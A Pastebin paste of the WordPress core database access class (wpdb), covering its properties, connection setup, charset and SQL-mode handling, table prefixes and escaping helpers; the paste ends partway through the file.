Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2020
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 125.28 KB | None | 0 0
  1. <?php
  2. /**
  3. * WordPress DB Class
  4. *
  5. * Original code from {@link http://php.justinvincent.com Justin Vincent (justin@visunet.ie)}
  6. *
  7. * @package WordPress
  8. * @subpackage Database
  9. * @since 0.71
  10. */
  11.  
  12. /**
  13. * @since 0.71
  14. */
  15. define( 'EZSQL_VERSION', 'WP1.25' );
  16.  
  17. /**
  18. * @since 0.71
  19. */
  20. define( 'OBJECT', 'OBJECT' );
  21. // phpcs:ignore Generic.NamingConventions.UpperCaseConstantName.ConstantNotUpperCase
  22. define( 'object', 'OBJECT' ); // Back compat.
  23.  
  24. /**
  25. * @since 2.5.0
  26. */
  27. define( 'OBJECT_K', 'OBJECT_K' );
  28.  
  29. /**
  30. * @since 0.71
  31. */
  32. define( 'ARRAY_A', 'ARRAY_A' );
  33.  
  34. /**
  35. * @since 0.71
  36. */
  37. define( 'ARRAY_N', 'ARRAY_N' );
  38.  
  39. /**
  40. * WordPress Database Access Abstraction Object
  41. *
  42. * It is possible to replace this class with your own
  43. * by setting the $wpdb global variable in wp-content/db.php
  44. * file to your class. The wpdb class will still be included,
  45. * so you can extend it or simply use your own.
  46. *
  47. * @link https://codex.wordpress.org/Function_Reference/wpdb_Class
  48. *
  49. * @since 0.71
  50. */
  51. class wpdb {
  52.  
  53. /**
  54. * Whether to show SQL/DB errors.
  55. *
  56. * Default behavior is to show errors if both WP_DEBUG and WP_DEBUG_DISPLAY
  57. * evaluated to true.
  58. *
  59. * @since 0.71
  60. * @var bool
  61. */
  62. var $show_errors = false;
  63.  
  64. /**
  65. * Whether to suppress errors during the DB bootstrapping.
  66. *
  67. * @since 2.5.0
  68. * @var bool
  69. */
  70. var $suppress_errors = false;
  71.  
  72. /**
  73. * The last error during query.
  74. *
  75. * @since 2.5.0
  76. * @var string
  77. */
  78. public $last_error = '';
  79.  
  80. /**
  81. * Amount of queries made
  82. *
  83. * @since 1.2.0
  84. * @var int
  85. */
  86. public $num_queries = 0;
  87.  
  88. /**
  89. * Count of rows returned by previous query
  90. *
  91. * @since 0.71
  92. * @var int
  93. */
  94. public $num_rows = 0;
  95.  
  96. /**
  97. * Count of affected rows by previous query
  98. *
  99. * @since 0.71
  100. * @var int
  101. */
  102. var $rows_affected = 0;
  103.  
  104. /**
  105. * The ID generated for an AUTO_INCREMENT column by the previous query (usually INSERT).
  106. *
  107. * @since 0.71
  108. * @var int
  109. */
  110. public $insert_id = 0;
  111.  
  112. /**
  113. * Last query made
  114. *
  115. * @since 0.71
  116. * @var array
  117. */
  118. var $last_query;
  119.  
  120. /**
  121. * Results of the last query made
  122. *
  123. * @since 0.71
  124. * @var array|null
  125. */
  126. var $last_result;
  127.  
  128. /**
  129. * MySQL result, which is either a resource or boolean.
  130. *
  131. * @since 0.71
  132. * @var mixed
  133. */
  134. protected $result;
  135.  
  136. /**
  137. * Cached column info, for sanity checking data before inserting
  138. *
  139. * @since 4.2.0
  140. * @var array
  141. */
  142. protected $col_meta = array();
  143.  
  144. /**
  145. * Calculated character sets on tables
  146. *
  147. * @since 4.2.0
  148. * @var array
  149. */
  150. protected $table_charset = array();
  151.  
  152. /**
  153. * Whether text fields in the current query need to be sanity checked.
  154. *
  155. * @since 4.2.0
  156. * @var bool
  157. */
  158. protected $check_current_query = true;
  159.  
  160. /**
  161. * Flag to ensure we don't run into recursion problems when checking the collation.
  162. *
  163. * @since 4.2.0
  164. * @see wpdb::check_safe_collation()
  165. * @var bool
  166. */
  167. private $checking_collation = false;
  168.  
  169. /**
  170. * Saved info on the table column
  171. *
  172. * @since 0.71
  173. * @var array
  174. */
  175. protected $col_info;
  176.  
  177. /**
  178. * Log of queries that were executed, for debugging purposes.
  179. *
  180. * @since 1.5.0
  181. * @since 2.5.0 The third element in each query log was added to record the calling functions.
  182. * @since 5.1.0 The fourth element in each query log was added to record the start time.
  183. *
  184. * @var array[] {
  185. * Array of queries that were executed.
  186. *
  187. * @type array ...$0 {
  188. * Data for each query.
  189. *
  190. * @type string $0 The query's SQL.
  191. * @type float $1 Total time spent on the query, in seconds.
  192. * @type string $2 Comma separated list of the calling functions.
  193. * @type float $3 Unix timestamp of the time at the start of the query.
  194. * }
  195. * }
  196. */
  197. var $queries;
  198.  
  199. /**
  200. * The number of times to retry reconnecting before dying.
  201. *
  202. * @since 3.9.0
  203. * @see wpdb::check_connection()
  204. * @var int
  205. */
  206. protected $reconnect_retries = 5;
  207.  
  208. /**
  209. * WordPress table prefix
  210. *
  211. * You can set this to have multiple WordPress installations
  212. * in a single database. The second reason is for possible
  213. * security precautions.
  214. *
  215. * @since 2.5.0
  216. * @var string
  217. */
  218. public $prefix = '';
  219.  
  220. /**
  221. * WordPress base table prefix.
  222. *
  223. * @since 3.0.0
  224. * @var string
  225. */
  226. public $base_prefix;
  227.  
  228. /**
  229. * Whether the database queries are ready to start executing.
  230. *
  231. * @since 2.3.2
  232. * @var bool
  233. */
  234. var $ready = false;
  235.  
  236. /**
  237. * Blog ID.
  238. *
  239. * @since 3.0.0
  240. * @var int
  241. */
  242. public $blogid = 0;
  243.  
  244. /**
  245. * Site ID.
  246. *
  247. * @since 3.0.0
  248. * @var int
  249. */
  250. public $siteid = 0;
  251.  
  252. /**
  253. * List of WordPress per-blog tables
  254. *
  255. * @since 2.5.0
  256. * @see wpdb::tables()
  257. * @var array
  258. */
  259. var $tables = array(
  260. 'posts',
  261. 'comments',
  262. 'links',
  263. 'options',
  264. 'postmeta',
  265. 'terms',
  266. 'term_taxonomy',
  267. 'term_relationships',
  268. 'termmeta',
  269. 'commentmeta',
  270. );
  271.  
  272. /**
  273. * List of deprecated WordPress tables
  274. *
  275. * categories, post2cat, and link2cat were deprecated in 2.3.0, db version 5539
  276. *
  277. * @since 2.9.0
  278. * @see wpdb::tables()
  279. * @var array
  280. */
  281. var $old_tables = array( 'categories', 'post2cat', 'link2cat' );
  282.  
  283. /**
  284. * List of WordPress global tables
  285. *
  286. * @since 3.0.0
  287. * @see wpdb::tables()
  288. * @var array
  289. */
  290. var $global_tables = array( 'users', 'usermeta' );
  291.  
  292. /**
  293. * List of Multisite global tables
  294. *
  295. * @since 3.0.0
  296. * @see wpdb::tables()
  297. * @var array
  298. */
  299. var $ms_global_tables = array(
  300. 'blogs',
  301. 'blogmeta',
  302. 'signups',
  303. 'site',
  304. 'sitemeta',
  305. 'sitecategories',
  306. 'registration_log',
  307. 'blog_versions',
  308. );
  309.  
  310. /**
  311. * WordPress Comments table
  312. *
  313. * @since 1.5.0
  314. * @var string
  315. */
  316. public $comments;
  317.  
  318. /**
  319. * WordPress Comment Metadata table
  320. *
  321. * @since 2.9.0
  322. * @var string
  323. */
  324. public $commentmeta;
  325.  
  326. /**
  327. * WordPress Links table
  328. *
  329. * @since 1.5.0
  330. * @var string
  331. */
  332. public $links;
  333.  
  334. /**
  335. * WordPress Options table
  336. *
  337. * @since 1.5.0
  338. * @var string
  339. */
  340. public $options;
  341.  
  342. /**
  343. * WordPress Post Metadata table
  344. *
  345. * @since 1.5.0
  346. * @var string
  347. */
  348. public $postmeta;
  349.  
  350. /**
  351. * WordPress Posts table
  352. *
  353. * @since 1.5.0
  354. * @var string
  355. */
  356. public $posts;
  357.  
  358. /**
  359. * WordPress Terms table
  360. *
  361. * @since 2.3.0
  362. * @var string
  363. */
  364. public $terms;
  365.  
  366. /**
  367. * WordPress Term Relationships table
  368. *
  369. * @since 2.3.0
  370. * @var string
  371. */
  372. public $term_relationships;
  373.  
  374. /**
  375. * WordPress Term Taxonomy table
  376. *
  377. * @since 2.3.0
  378. * @var string
  379. */
  380. public $term_taxonomy;
  381.  
  382. /**
  383. * WordPress Term Meta table.
  384. *
  385. * @since 4.4.0
  386. * @var string
  387. */
  388. public $termmeta;
  389.  
  390. //
  391. // Global and Multisite tables
  392. //
  393.  
  394. /**
  395. * WordPress User Metadata table
  396. *
  397. * @since 2.3.0
  398. * @var string
  399. */
  400. public $usermeta;
  401.  
  402. /**
  403. * WordPress Users table
  404. *
  405. * @since 1.5.0
  406. * @var string
  407. */
  408. public $users;
  409.  
  410. /**
  411. * Multisite Blogs table
  412. *
  413. * @since 3.0.0
  414. * @var string
  415. */
  416. public $blogs;
  417.  
  418. /**
  419. * Multisite Blog Metadata table
  420. *
  421. * @since 5.1.0
  422. * @var string
  423. */
  424. public $blogmeta;
  425.  
  426. /**
  427. * Multisite Blog Versions table
  428. *
  429. * @since 3.0.0
  430. * @var string
  431. */
  432. public $blog_versions;
  433.  
  434. /**
  435. * Multisite Registration Log table
  436. *
  437. * @since 3.0.0
  438. * @var string
  439. */
  440. public $registration_log;
  441.  
  442. /**
  443. * Multisite Signups table
  444. *
  445. * @since 3.0.0
  446. * @var string
  447. */
  448. public $signups;
  449.  
  450. /**
  451. * Multisite Sites table
  452. *
  453. * @since 3.0.0
  454. * @var string
  455. */
  456. public $site;
  457.  
  458. /**
  459. * Multisite Sitewide Terms table
  460. *
  461. * @since 3.0.0
  462. * @var string
  463. */
  464. public $sitecategories;
  465.  
  466. /**
  467. * Multisite Site Metadata table
  468. *
  469. * @since 3.0.0
  470. * @var string
  471. */
  472. public $sitemeta;
  473.  
  474. /**
  475. * Format specifiers for DB columns. Columns not listed here default to %s. Initialized during WP load.
  476. *
  477. * Keys are column names, values are format types: 'ID' => '%d'
  478. *
  479. * @since 2.8.0
  480. * @see wpdb::prepare()
  481. * @see wpdb::insert()
  482. * @see wpdb::update()
  483. * @see wpdb::delete()
  484. * @see wp_set_wpdb_vars()
  485. * @var array
  486. */
  487. public $field_types = array();
  488.  
  489. /**
  490. * Database table columns charset
  491. *
  492. * @since 2.2.0
  493. * @var string
  494. */
  495. public $charset;
  496.  
  497. /**
  498. * Database table columns collate
  499. *
  500. * @since 2.2.0
  501. * @var string
  502. */
  503. public $collate;
  504.  
  505. /**
  506. * Database Username
  507. *
  508. * @since 2.9.0
  509. * @var string
  510. */
  511. protected $dbuser;
  512.  
  513. /**
  514. * Database Password
  515. *
  516. * @since 3.1.0
  517. * @var string
  518. */
  519. protected $dbpassword;
  520.  
  521. /**
  522. * Database Name
  523. *
  524. * @since 3.1.0
  525. * @var string
  526. */
  527. protected $dbname;
  528.  
  529. /**
  530. * Database Host
  531. *
  532. * @since 3.1.0
  533. * @var string
  534. */
  535. protected $dbhost;
  536.  
  537. /**
  538. * Database Handle
  539. *
  540. * @since 0.71
  541. * @var string
  542. */
  543. protected $dbh;
  544.  
  545. /**
  546. * A textual description of the last query/get_row/get_var call
  547. *
  548. * @since 3.0.0
  549. * @var string
  550. */
  551. public $func_call;
  552.  
  553. /**
  554. * Whether MySQL is used as the database engine.
  555. *
  556. * Set in WPDB::db_connect() to true, by default. This is used when checking
  557. * against the required MySQL version for WordPress. Normally, a replacement
  558. * database drop-in (db.php) will skip these checks, but setting this to true
  559. * will force the checks to occur.
  560. *
  561. * @since 3.3.0
  562. * @var bool
  563. */
  564. public $is_mysql = null;
  565.  
  566. /**
  567. * A list of incompatible SQL modes.
  568. *
  569. * @since 3.9.0
  570. * @var array
  571. */
  572. protected $incompatible_modes = array(
  573. 'NO_ZERO_DATE',
  574. 'ONLY_FULL_GROUP_BY',
  575. 'STRICT_TRANS_TABLES',
  576. 'STRICT_ALL_TABLES',
  577. 'TRADITIONAL',
  578. );
  579.  
  580. /**
  581. * Whether to use mysqli over mysql.
  582. *
  583. * @since 3.9.0
  584. * @var bool
  585. */
  586. private $use_mysqli = false;
  587.  
  588. /**
  589. * Whether we've managed to successfully connect at some point
  590. *
  591. * @since 3.9.0
  592. * @var bool
  593. */
  594. private $has_connected = false;
  595.  
  596. /**
  597. * Connects to the database server and selects a database
  598. *
  599. * PHP5 style constructor for compatibility with PHP5. Does
  600. * the actual setting up of the class properties and connection
  601. * to the database.
  602. *
  603. * @link https://core.trac.wordpress.org/ticket/3354
  604. * @since 2.0.8
  605. *
  606. * @global string $wp_version
  607. *
  608. * @param string $dbuser MySQL database user
  609. * @param string $dbpassword MySQL database password
  610. * @param string $dbname MySQL database name
  611. * @param string $dbhost MySQL database host
  612. */
  613. public function __construct( $dbuser, $dbpassword, $dbname, $dbhost ) {
  614. register_shutdown_function( array( $this, '__destruct' ) );
  615.  
  616. if ( WP_DEBUG && WP_DEBUG_DISPLAY ) {
  617. $this->show_errors();
  618. }
  619.  
  620. // Use ext/mysqli if it exists unless WP_USE_EXT_MYSQL is defined as true
  621. if ( function_exists( 'mysqli_connect' ) ) {
  622. $this->use_mysqli = true;
  623.  
  624. if ( defined( 'WP_USE_EXT_MYSQL' ) ) {
  625. $this->use_mysqli = ! WP_USE_EXT_MYSQL;
  626. }
  627. }
  628.  
  629. $this->dbuser = $dbuser;
  630. $this->dbpassword = $dbpassword;
  631. $this->dbname = $dbname;
  632. $this->dbhost = $dbhost;
  633.  
  634. // wp-config.php creation will manually connect when ready.
  635. if ( defined( 'WP_SETUP_CONFIG' ) ) {
  636. return;
  637. }
  638.  
  639. $this->db_connect();
  640. }
  641.  
  642. /**
  643. * PHP5 style destructor and will run when database object is destroyed.
  644. *
  645. * @see wpdb::__construct()
  646. * @since 2.0.8
  647. * @return true
  648. */
  649. public function __destruct() {
  650. return true;
  651. }
  652.  
  653. /**
  654. * Makes private properties readable for backward compatibility.
  655. *
  656. * @since 3.5.0
  657. *
  658. * @param string $name The private member to get, and optionally process
  659. * @return mixed The private member
  660. */
  661. public function __get( $name ) {
  662. if ( 'col_info' === $name ) {
  663. $this->load_col_info();
  664. }
  665.  
  666. return $this->$name;
  667. }
  668.  
  669. /**
  670. * Makes private properties settable for backward compatibility.
  671. *
  672. * @since 3.5.0
  673. *
  674. * @param string $name The private member to set
  675. * @param mixed $value The value to set
  676. */
  677. public function __set( $name, $value ) {
  678. $protected_members = array(
  679. 'col_meta',
  680. 'table_charset',
  681. 'check_current_query',
  682. );
  683. if ( in_array( $name, $protected_members, true ) ) {
  684. return;
  685. }
  686. $this->$name = $value;
  687. }
  688.  
  689. /**
  690. * Makes private properties check-able for backward compatibility.
  691. *
  692. * @since 3.5.0
  693. *
  694. * @param string $name The private member to check
  695. *
  696. * @return bool If the member is set or not
  697. */
  698. public function __isset( $name ) {
  699. return isset( $this->$name );
  700. }
  701.  
  702. /**
  703. * Makes private properties un-settable for backward compatibility.
  704. *
  705. * @since 3.5.0
  706. *
  707. * @param string $name The private member to unset
  708. */
  709. public function __unset( $name ) {
  710. unset( $this->$name );
  711. }
  712.  
  713. /**
  714. * Set $this->charset and $this->collate
  715. *
  716. * @since 3.1.0
  717. */
  718. public function init_charset() {
  719. $charset = '';
  720. $collate = '';
  721.  
  722. if ( function_exists( 'is_multisite' ) && is_multisite() ) {
  723. $charset = 'utf8';
  724. if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) {
  725. $collate = DB_COLLATE;
  726. } else {
  727. $collate = 'utf8_general_ci';
  728. }
  729. } elseif ( defined( 'DB_COLLATE' ) ) {
  730. $collate = DB_COLLATE;
  731. }
  732.  
  733. if ( defined( 'DB_CHARSET' ) ) {
  734. $charset = DB_CHARSET;
  735. }
  736.  
  737. $charset_collate = $this->determine_charset( $charset, $collate );
  738.  
  739. $this->charset = $charset_collate['charset'];
  740. $this->collate = $charset_collate['collate'];
  741. }
  742.  
  743. /**
  744. * Determines the best charset and collation to use given a charset and collation.
  745. *
  746. * For example, when able, utf8mb4 should be used instead of utf8.
  747. *
  748. * @since 4.6.0
  749. *
  750. * @param string $charset The character set to check.
  751. * @param string $collate The collation to check.
  752. * @return array The most appropriate character set and collation to use.
  753. */
  754. public function determine_charset( $charset, $collate ) {
  755. if ( ( $this->use_mysqli && ! ( $this->dbh instanceof mysqli ) ) || empty( $this->dbh ) ) {
  756. return compact( 'charset', 'collate' );
  757. }
  758.  
  759. if ( 'utf8' === $charset && $this->has_cap( 'utf8mb4' ) ) {
  760. $charset = 'utf8mb4';
  761. }
  762.  
  763. if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) {
  764. $charset = 'utf8';
  765. $collate = str_replace( 'utf8mb4_', 'utf8_', $collate );
  766. }
  767.  
  768. if ( 'utf8mb4' === $charset ) {
  769. // _general_ is outdated, so we can upgrade it to _unicode_, instead.
  770. if ( ! $collate || 'utf8_general_ci' === $collate ) {
  771. $collate = 'utf8mb4_unicode_ci';
  772. } else {
  773. $collate = str_replace( 'utf8_', 'utf8mb4_', $collate );
  774. }
  775. }
  776.  
  777. // _unicode_520_ is a better collation, we should use that when it's available.
  778. if ( $this->has_cap( 'utf8mb4_520' ) && 'utf8mb4_unicode_ci' === $collate ) {
  779. $collate = 'utf8mb4_unicode_520_ci';
  780. }
  781.  
  782. return compact( 'charset', 'collate' );
  783. }
  784.  
  785. /**
  786. * Sets the connection's character set.
  787. *
  788. * @since 3.1.0
  789. *
  790. * @param resource $dbh The resource given by mysql_connect
  791. * @param string $charset Optional. The character set. Default null.
  792. * @param string $collate Optional. The collation. Default null.
  793. */
  794. public function set_charset( $dbh, $charset = null, $collate = null ) {
  795. if ( ! isset( $charset ) ) {
  796. $charset = $this->charset;
  797. }
  798. if ( ! isset( $collate ) ) {
  799. $collate = $this->collate;
  800. }
  801. if ( $this->has_cap( 'collation' ) && ! empty( $charset ) ) {
  802. $set_charset_succeeded = true;
  803.  
  804. if ( $this->use_mysqli ) {
  805. if ( function_exists( 'mysqli_set_charset' ) && $this->has_cap( 'set_charset' ) ) {
  806. $set_charset_succeeded = mysqli_set_charset( $dbh, $charset );
  807. }
  808.  
  809. if ( $set_charset_succeeded ) {
  810. $query = $this->prepare( 'SET NAMES %s', $charset );
  811. if ( ! empty( $collate ) ) {
  812. $query .= $this->prepare( ' COLLATE %s', $collate );
  813. }
  814. mysqli_query( $dbh, $query );
  815. }
  816. } else {
  817. if ( function_exists( 'mysql_set_charset' ) && $this->has_cap( 'set_charset' ) ) {
  818. $set_charset_succeeded = mysql_set_charset( $charset, $dbh );
  819. }
  820. if ( $set_charset_succeeded ) {
  821. $query = $this->prepare( 'SET NAMES %s', $charset );
  822. if ( ! empty( $collate ) ) {
  823. $query .= $this->prepare( ' COLLATE %s', $collate );
  824. }
  825. mysql_query( $query, $dbh );
  826. }
  827. }
  828. }
  829. }
  830.  
  831. /**
  832. * Change the current SQL mode, and ensure its WordPress compatibility.
  833. *
  834. * If no modes are passed, it will ensure the current MySQL server
  835. * modes are compatible.
  836. *
  837. * @since 3.9.0
  838. *
  839. * @param array $modes Optional. A list of SQL modes to set.
  840. */
  841. public function set_sql_mode( $modes = array() ) {
  842. if ( empty( $modes ) ) {
  843. if ( $this->use_mysqli ) {
  844. $res = mysqli_query( $this->dbh, 'SELECT @@SESSION.sql_mode' );
  845. } else {
  846. $res = mysql_query( 'SELECT @@SESSION.sql_mode', $this->dbh );
  847. }
  848.  
  849. if ( empty( $res ) ) {
  850. return;
  851. }
  852.  
  853. if ( $this->use_mysqli ) {
  854. $modes_array = mysqli_fetch_array( $res );
  855. if ( empty( $modes_array[0] ) ) {
  856. return;
  857. }
  858. $modes_str = $modes_array[0];
  859. } else {
  860. $modes_str = mysql_result( $res, 0 );
  861. }
  862.  
  863. if ( empty( $modes_str ) ) {
  864. return;
  865. }
  866.  
  867. $modes = explode( ',', $modes_str );
  868. }
  869.  
  870. $modes = array_change_key_case( $modes, CASE_UPPER );
  871.  
  872. /**
  873. * Filters the list of incompatible SQL modes to exclude.
  874. *
  875. * @since 3.9.0
  876. *
  877. * @param array $incompatible_modes An array of incompatible modes.
  878. */
  879. $incompatible_modes = (array) apply_filters( 'incompatible_sql_modes', $this->incompatible_modes );
  880.  
  881. foreach ( $modes as $i => $mode ) {
  882. if ( in_array( $mode, $incompatible_modes ) ) {
  883. unset( $modes[ $i ] );
  884. }
  885. }
  886.  
  887. $modes_str = implode( ',', $modes );
  888.  
  889. if ( $this->use_mysqli ) {
  890. mysqli_query( $this->dbh, "SET SESSION sql_mode='$modes_str'" );
  891. } else {
  892. mysql_query( "SET SESSION sql_mode='$modes_str'", $this->dbh );
  893. }
  894. }
  895.  
  896. /**
  897. * Sets the table prefix for the WordPress tables.
  898. *
  899. * @since 2.5.0
  900. *
  901. * @param string $prefix Alphanumeric name for the new prefix.
  902. * @param bool $set_table_names Optional. Whether the table names, e.g. wpdb::$posts, should be updated or not.
  903. * @return string|WP_Error Old prefix or WP_Error on error
  904. */
  905. public function set_prefix( $prefix, $set_table_names = true ) {
  906.  
  907. if ( preg_match( '|[^a-z0-9_]|i', $prefix ) ) {
  908. return new WP_Error( 'invalid_db_prefix', 'Invalid database prefix' );
  909. }
  910.  
  911. $old_prefix = is_multisite() ? '' : $prefix;
  912.  
  913. if ( isset( $this->base_prefix ) ) {
  914. $old_prefix = $this->base_prefix;
  915. }
  916.  
  917. $this->base_prefix = $prefix;
  918.  
  919. if ( $set_table_names ) {
  920. foreach ( $this->tables( 'global' ) as $table => $prefixed_table ) {
  921. $this->$table = $prefixed_table;
  922. }
  923.  
  924. if ( is_multisite() && empty( $this->blogid ) ) {
  925. return $old_prefix;
  926. }
  927.  
  928. $this->prefix = $this->get_blog_prefix();
  929.  
  930. foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) {
  931. $this->$table = $prefixed_table;
  932. }
  933.  
  934. foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) {
  935. $this->$table = $prefixed_table;
  936. }
  937. }
  938. return $old_prefix;
  939. }
  940.  
  941. /**
  942. * Sets blog id.
  943. *
  944. * @since 3.0.0
  945. *
  946. * @param int $blog_id
  947. * @param int $network_id Optional.
  948. * @return int previous blog id
  949. */
  950. public function set_blog_id( $blog_id, $network_id = 0 ) {
  951. if ( ! empty( $network_id ) ) {
  952. $this->siteid = $network_id;
  953. }
  954.  
  955. $old_blog_id = $this->blogid;
  956. $this->blogid = $blog_id;
  957.  
  958. $this->prefix = $this->get_blog_prefix();
  959.  
  960. foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) {
  961. $this->$table = $prefixed_table;
  962. }
  963.  
  964. foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) {
  965. $this->$table = $prefixed_table;
  966. }
  967.  
  968. return $old_blog_id;
  969. }
  970.  
  971. /**
  972. * Gets blog prefix.
  973. *
  974. * @since 3.0.0
  975. * @param int $blog_id Optional.
  976. * @return string Blog prefix.
  977. */
  978. public function get_blog_prefix( $blog_id = null ) {
  979. if ( is_multisite() ) {
  980. if ( null === $blog_id ) {
  981. $blog_id = $this->blogid;
  982. }
  983. $blog_id = (int) $blog_id;
  984. if ( defined( 'MULTISITE' ) && ( 0 == $blog_id || 1 == $blog_id ) ) {
  985. return $this->base_prefix;
  986. } else {
  987. return $this->base_prefix . $blog_id . '_';
  988. }
  989. } else {
  990. return $this->base_prefix;
  991. }
  992. }
  993.  
  994. /**
  995. * Returns an array of WordPress tables.
  996. *
  997. * Also allows for the CUSTOM_USER_TABLE and CUSTOM_USER_META_TABLE to
  998. * override the WordPress users and usermeta tables that would otherwise
  999. * be determined by the prefix.
  1000. *
  1001. * The scope argument can take one of the following:
  1002. *
  1003. * 'all' - returns 'all' and 'global' tables. No old tables are returned.
  1004. * 'blog' - returns the blog-level tables for the queried blog.
  1005. * 'global' - returns the global tables for the installation, returning multisite tables only if running multisite.
  1006. * 'ms_global' - returns the multisite global tables, regardless if current installation is multisite.
  1007. * 'old' - returns tables which are deprecated.
  1008. *
  1009. * @since 3.0.0
  1010. * @uses wpdb::$tables
  1011. * @uses wpdb::$old_tables
  1012. * @uses wpdb::$global_tables
  1013. * @uses wpdb::$ms_global_tables
  1014. *
  1015. * @param string $scope Optional. Can be all, global, ms_global, blog, or old tables. Defaults to all.
  1016. * @param bool $prefix Optional. Whether to include table prefixes. Default true. If blog
  1017. * prefix is requested, then the custom users and usermeta tables will be mapped.
  1018. * @param int $blog_id Optional. The blog_id to prefix. Defaults to wpdb::$blogid. Used only when prefix is requested.
  1019. * @return array Table names. When a prefix is requested, the key is the unprefixed table name.
  1020. */
  1021. public function tables( $scope = 'all', $prefix = true, $blog_id = 0 ) {
  1022. switch ( $scope ) {
  1023. case 'all':
  1024. $tables = array_merge( $this->global_tables, $this->tables );
  1025. if ( is_multisite() ) {
  1026. $tables = array_merge( $tables, $this->ms_global_tables );
  1027. }
  1028. break;
  1029. case 'blog':
  1030. $tables = $this->tables;
  1031. break;
  1032. case 'global':
  1033. $tables = $this->global_tables;
  1034. if ( is_multisite() ) {
  1035. $tables = array_merge( $tables, $this->ms_global_tables );
  1036. }
  1037. break;
  1038. case 'ms_global':
  1039. $tables = $this->ms_global_tables;
  1040. break;
  1041. case 'old':
  1042. $tables = $this->old_tables;
  1043. break;
  1044. default:
  1045. return array();
  1046. }
  1047.  
  1048. if ( $prefix ) {
  1049. if ( ! $blog_id ) {
  1050. $blog_id = $this->blogid;
  1051. }
  1052. $blog_prefix = $this->get_blog_prefix( $blog_id );
  1053. $base_prefix = $this->base_prefix;
  1054. $global_tables = array_merge( $this->global_tables, $this->ms_global_tables );
  1055. foreach ( $tables as $k => $table ) {
  1056. if ( in_array( $table, $global_tables ) ) {
  1057. $tables[ $table ] = $base_prefix . $table;
  1058. } else {
  1059. $tables[ $table ] = $blog_prefix . $table;
  1060. }
  1061. unset( $tables[ $k ] );
  1062. }
  1063.  
  1064. if ( isset( $tables['users'] ) && defined( 'CUSTOM_USER_TABLE' ) ) {
  1065. $tables['users'] = CUSTOM_USER_TABLE;
  1066. }
  1067.  
  1068. if ( isset( $tables['usermeta'] ) && defined( 'CUSTOM_USER_META_TABLE' ) ) {
  1069. $tables['usermeta'] = CUSTOM_USER_META_TABLE;
  1070. }
  1071. }
  1072.  
  1073. return $tables;
  1074. }
  1075.  
  1076. /**
  1077. * Selects a database using the current database connection.
  1078. *
  1079. * The database name will be changed based on the current database
  1080. * connection. On failure, the execution will bail and display an DB error.
  1081. *
  1082. * @since 0.71
  1083. *
  1084. * @param string $db MySQL database name
  1085. * @param resource|null $dbh Optional link identifier.
  1086. */
  1087. public function select( $db, $dbh = null ) {
  1088. if ( is_null( $dbh ) ) {
  1089. $dbh = $this->dbh;
  1090. }
  1091.  
  1092. if ( $this->use_mysqli ) {
  1093. $success = mysqli_select_db( $dbh, $db );
  1094. } else {
  1095. $success = mysql_select_db( $db, $dbh );
  1096. }
  1097. if ( ! $success ) {
  1098. $this->ready = false;
  1099. if ( ! did_action( 'template_redirect' ) ) {
  1100. wp_load_translations_early();
  1101.  
  1102. $message = '<h1>' . __( 'Can&#8217;t select database' ) . "</h1>\n";
  1103.  
  1104. $message .= '<p>' . sprintf(
  1105. /* translators: %s: database name */
  1106. __( 'We were able to connect to the database server (which means your username and password is okay) but not able to select the %s database.' ),
  1107. '<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>'
  1108. ) . "</p>\n";
  1109.  
  1110. $message .= "<ul>\n";
  1111. $message .= '<li>' . __( 'Are you sure it exists?' ) . "</li>\n";
  1112.  
  1113. $message .= '<li>' . sprintf(
  1114. /* translators: 1: database user, 2: database name */
  1115. __( 'Does the user %1$s have permission to use the %2$s database?' ),
  1116. '<code>' . htmlspecialchars( $this->dbuser, ENT_QUOTES ) . '</code>',
  1117. '<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>'
  1118. ) . "</li>\n";
  1119.  
  1120. $message .= '<li>' . sprintf(
  1121. /* translators: %s: database name */
  1122. __( 'On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?' ),
  1123. htmlspecialchars( $db, ENT_QUOTES )
  1124. ) . "</li>\n";
  1125.  
  1126. $message .= "</ul>\n";
  1127.  
  1128. $message .= '<p>' . sprintf(
  1129. /* translators: %s: support forums URL */
  1130. __( 'If you don&#8217;t know how to set up a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href="%s">WordPress Support Forums</a>.' ),
  1131. __( 'https://wordpress.org/support/forums/' )
  1132. ) . "</p>\n";
  1133.  
  1134. $this->bail( $message, 'db_select_fail' );
  1135. }
  1136. }
  1137. }
  1138.  
  1139. /**
  1140. * Do not use, deprecated.
  1141. *
  1142. * Use esc_sql() or wpdb::prepare() instead.
  1143. *
  1144. * @since 2.8.0
  1145. * @deprecated 3.6.0 Use wpdb::prepare()
  1146. * @see wpdb::prepare
  1147. * @see esc_sql()
  1148. *
  1149. * @param string $string
  1150. * @return string
  1151. */
  1152. function _weak_escape( $string ) {
  1153. if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) {
  1154. _deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' );
  1155. }
  1156. return addslashes( $string );
  1157. }
  1158.  
  1159. /**
  1160. * Real escape, using mysqli_real_escape_string() or mysql_real_escape_string()
  1161. *
  1162. * @see mysqli_real_escape_string()
  1163. * @see mysql_real_escape_string()
  1164. * @since 2.8.0
  1165. *
  1166. * @param string $string to escape
  1167. * @return string escaped
  1168. */
  1169. function _real_escape( $string ) {
  1170. if ( $this->dbh ) {
  1171. if ( $this->use_mysqli ) {
  1172. $escaped = mysqli_real_escape_string( $this->dbh, $string );
  1173. } else {
  1174. $escaped = mysql_real_escape_string( $string, $this->dbh );
  1175. }
  1176. } else {
  1177. $class = get_class( $this );
  1178. if ( function_exists( '__' ) ) {
  1179. /* translators: %s: database access abstraction class, usually wpdb or a class extending wpdb */
  1180. _doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), '3.6.0' );
  1181. } else {
  1182. _doing_it_wrong( $class, sprintf( '%s must set a database connection for use with escaping.', $class ), '3.6.0' );
  1183. }
  1184. $escaped = addslashes( $string );
  1185. }
  1186.  
